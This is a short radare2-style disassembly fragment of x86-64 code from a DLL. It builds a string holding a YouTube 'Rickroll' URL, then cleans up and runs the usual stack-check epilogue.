cmp eax, 0xffffffff
je 0x18000e3b1
test al, 0x10
je 0x18000e42a
xorps xmm0, xmm0
lea rdx, str.https:__www.youtube.com_watch_vdQw4w9WgXcQ
xorps xmm1, xmm1
lea rcx, [rsp + 0x20]
mov r8d, 0x2b
movups xmmword [rsp + 0x20], xmm0
movdqu xmmword [rsp + 0x30], xmm1
call fcn.180002be0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x18000e412
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000e40d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000e424
call fcn.18003a324
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.18003a7c0
add rsp, 0x58
ret
call fcn.180040fc4
int3
xor ecx, ecx
call fcn.180041320
int3